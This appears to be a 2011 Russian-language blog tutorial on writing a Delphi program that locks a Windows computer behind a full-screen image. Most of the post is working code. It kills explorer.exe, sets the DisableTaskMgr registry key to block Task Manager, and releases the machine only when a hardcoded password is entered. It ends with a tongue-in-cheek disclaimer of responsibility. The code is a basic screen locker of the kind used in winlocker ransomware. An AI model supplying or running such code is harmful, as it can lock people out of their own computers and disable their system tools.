Головна » Програми |
Блокировка виндовс (Windows) с помощью Delphi
21.06.2011, 17:39 | |
Здесь я напишу как заблокировать компьютер с помощью картинки. Здравствуйте!!!) Не будем терять время перейдем сразу к делу: Кидаем на форму image(из Win32),1 Button и 1 edit Желательно чтобы изображение было хорошего качества и хотя бы закрывало пол экрана. Нажимаем форму, Properties, обрабатываем форму: BorderStyle:bsNone AutoScroll:False AutoSize:True FormStyle:fsStayOnTop Ну дальше можно написать блокировать диспетчер задач,закрыть процесс explorer.exe (отвечает за показ на монитор папок,рабочего стола и т.д.). (OnCreate(у формы(Добавляем для работы с реестром: Uses:registry;Var reg.TRegistry))) WinExec(PANsiChar('TASKKILL /F /IM explorer.exe'), SW_HIDE); begin reg:=tregistry.Create; reg.RootKey:=HKEY_CURRENT_USER; reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Policies\System',true); reg.WriteString('DisableTaskMgr','1'); reg.CloseKey; end; Событие на кнопку: procedure TForm1.Button1Click(Sender: TObject); begin if Edit1.Text='123' then //Если в Edit1 написан такой текст,то закрыть форму и запустить explorer(экран,рабочий стол,все папки) Close; if Edit1.Text='123' then ShellExecute(Handle,'open','C:\WINDOWS\Explorer.EXE',nil,nil,SW_ShowNormal); Далее можно добавить Функции свернуть все окна.Нуууу,Вроде и все.Можно добавить функцию sleep жаль в миллисекундах но всё же, но ее можно использовать вот так. OnCreate у формы если вы забыли: WinExec(PANsiChar('TASKKILL /F /IM explorer.exe'), SW_HIDE); sleep(2500000) ShellExecute(Handle,'open','C:\WINDOWS\Explorer.EXE',nil,nil,SW_ShowNormal); банальный пример, но все же)Например в интернет клубах примерно так и делают.После определенного времени сделать комп "зомби".Это всё.GReIIIHuK} P.S. Данная статья служит исключительно для расширение Мировоззрения :D Никакой ответственности я за нее не несу)))) | |
| |
Переглядів: 806 | Завантажень: 0 |
Всього коментарів: 0 | |